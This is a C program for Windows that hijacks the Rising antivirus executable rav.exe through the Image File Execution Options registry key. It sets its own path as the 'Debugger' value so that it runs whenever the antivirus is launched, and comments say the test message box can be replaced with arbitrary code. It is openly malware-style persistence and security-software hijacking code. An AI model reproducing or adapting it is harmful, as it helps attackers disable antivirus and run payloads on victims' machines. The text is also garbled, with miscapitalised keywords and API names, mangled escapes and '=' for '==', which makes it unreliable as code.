# Include "stdafx. H"
# Include <stdio. h>
# Include <windows. h>
Int main (INT argc, char * argv [])
{
Char temp [256];
DWORD ret;
Lpctstr szregkey = "software // Microsoft // Windows NT // CurrentVersion // Image File Execution options"; // define a string pointer to save the keypoint of image hijacking
Hkey h_key;
If (argc! = 1) // if no parameter is set, extract 2nd parameters, that is, the parameter is hijacked. Program Path
{
Memset (temp, 0,256 );
Strcpy (temp, argv [1]);
For (INT I = 0; I <strlen (temp); I ++) // replace/in the path with/, or/, that is Code Longer
{
If (temp [I] = '//')
Temp [I] = '/';
}
Ret = regopenkeyex (HKEY_LOCAL_MACHINE, szregkey, 0, key_all_access, & h_key); // enable the sub-key in the registry that requires image hijacking to obtain the handle
If (ret = error_success)
{
Printf ("Open OK! /N ");
If (error_success = regdeletekey (h_key, "rav.exe") // Delete the rav sub-key under the sub-key opened above
{
Printf ("delete OK! /N ");
Regclosekey (h_key );
Winexec (temp, sw_show); // run the hijacked Program
}
Else
{
Printf ("delete failed! /N ");
Regclosekey (h_key );
}
}
Else
Printf ("Open failed! /N ");
}
Memset (temp, 0,256 );
Getmodulefilename (null, temp, 256); // get the program's own path and prepare for writing to the registry below
Hkey hresultkey = NULL;
If (error_success = regopenkeyex (HKEY_LOCAL_MACHINE, szregkey, 0, key_all_access, & h_key) // open the sub-Key of registry image hijacking to obtain the handle
{
DWORD dw;
Ret = regcreatekeyex (h_key, "rav.exe", 0, reg_none, reg_option_non_volatile, key_all_access, null, & hresultkey, & DW ); // create and open the rav sub-key under the sub-key opened above to obtain the handle
If (Ret! = Error_success)
{
Regclosekey (h_key );
Printf ("creat failed! /N ");
Return 1;
}
Printf ("creat OK! /N ");
Ret = regsetvalueex (hresultkey, "Debugger", 0, REG_SZ, (const byte *) temp, strlen (temp) + 1 ); // create the debugger key on the rav key and set the value to the path of the Program for image hijacking
If (Ret! = Error_success)
{
Regclosekey (h_key );
Regclosekey (hresultkey );
Return 1;
}
Regclosekey (h_key );
Regclosekey (hresultkey );
Printf ("set OK! /N ");
}
MessageBox (null, "OK! "," Successful! ", Mb_ OK); // used for testing the program, which can be replaced with other code to be executed
Return 0;
}